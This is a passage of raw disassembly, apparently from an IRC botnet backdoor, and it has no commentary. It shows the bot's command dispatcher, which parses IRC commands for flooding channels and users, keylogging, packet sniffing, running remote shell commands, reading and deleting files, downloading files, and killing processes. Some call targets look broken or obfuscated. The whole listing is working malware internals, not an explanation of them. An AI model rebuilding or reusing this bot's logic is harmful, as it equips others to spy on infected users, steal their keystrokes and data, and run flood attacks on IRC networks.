[ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h call near ptr 2660D05h nop jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 267064Ch push eax push offset unk_42B5A0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 268068Bh nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B538 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B534 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B51C call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B508 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 268068Bh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B498 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B484 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B480 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 268068Bh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B458 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B410 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3F8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B410 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D403C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB03C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA75C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B380 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B280 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B250 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h call near ptr 2660D05h nop jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj call near ptr 267064Ch nop push eax push offset dword_42B214 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B1AC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B184 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B154 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 2660D86h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 2660D05h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 267064Ch push eax push offset unk_42B118 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B0A8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B080 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B054 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 2660D86h imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz loc_40828B nop call near ptr 267064Ch push eax push offset dword_42B020 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFE8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AFC8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF7C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF50 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AF30 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AF0C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx call 